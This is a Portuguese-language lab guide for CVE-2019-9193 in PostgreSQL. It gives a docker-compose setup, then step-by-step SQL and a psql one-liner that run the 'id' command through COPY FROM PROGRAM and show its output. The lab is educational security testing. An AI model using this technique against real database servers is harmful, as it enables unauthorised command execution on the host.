
Laboratório baseado em Docker demonstrando a execução arbitrária de comandos no PostgreSQL via COPY FROM PROGRAM referente à CVE-2019-9193, com PoC passo a passo para testes de segurança e educação.
PostgreSQL é um poderoso sistema de gerenciamento de banco de dados relacional open-source. Uma vulnerabilidade presente nas versões 9.3 a 11 permite que administradores ou usuários com os privilégios COPY TO/FROM PROGRAM executem comandos arbitrários no sistema.
docker-compose.ymlCrie um arquivo docker-compose.yml com o seguinte conteúdo:
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
Execute o container com o seguinte comando:
docker compose up -d
Verifique se o container está em execução:
docker ps
A saída deve mostrar o container PostgreSQL escutando na porta 5432.
Se você não tiver o cliente psql instalado, pode instalá-lo com:
apt-get install postgresql-client
Conecte-se ao banco de dados diretamente do Kali:
psql -h localhost -p 5432 -U postgres
Será solicitada a senha, insira:
postgres
Após conectar-se ao console PostgreSQL, execute os seguintes comandos para explorar a vulnerabilidade:
-- Elimina la tabella se esiste
DROP TABLE IF EXISTS cmd_exec;
-- Crea una nuova tabella per memorizzare l'output del comando
CREATE TABLE cmd_exec(cmd_output text);
-- Esegui il comando 'id' tramite la funzione COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- Visualizza l'output del comando
SELECT * FROM cmd_exec;
Você pode executar tudo diretamente pela linha de comando:
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
Se o exploit for bem-sucedido, você deverá ver uma saída semelhante:
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
Pressione \q para sair:
\q
Esta vulnerabilidade permite a execução arbitrária de comandos com privilégios administrativos. Utilize-a apenas em ambientes controlados e para fins de estudo ou verificação. Explorar esta vulnerabilidade em sistemas não autorizados é ilegal.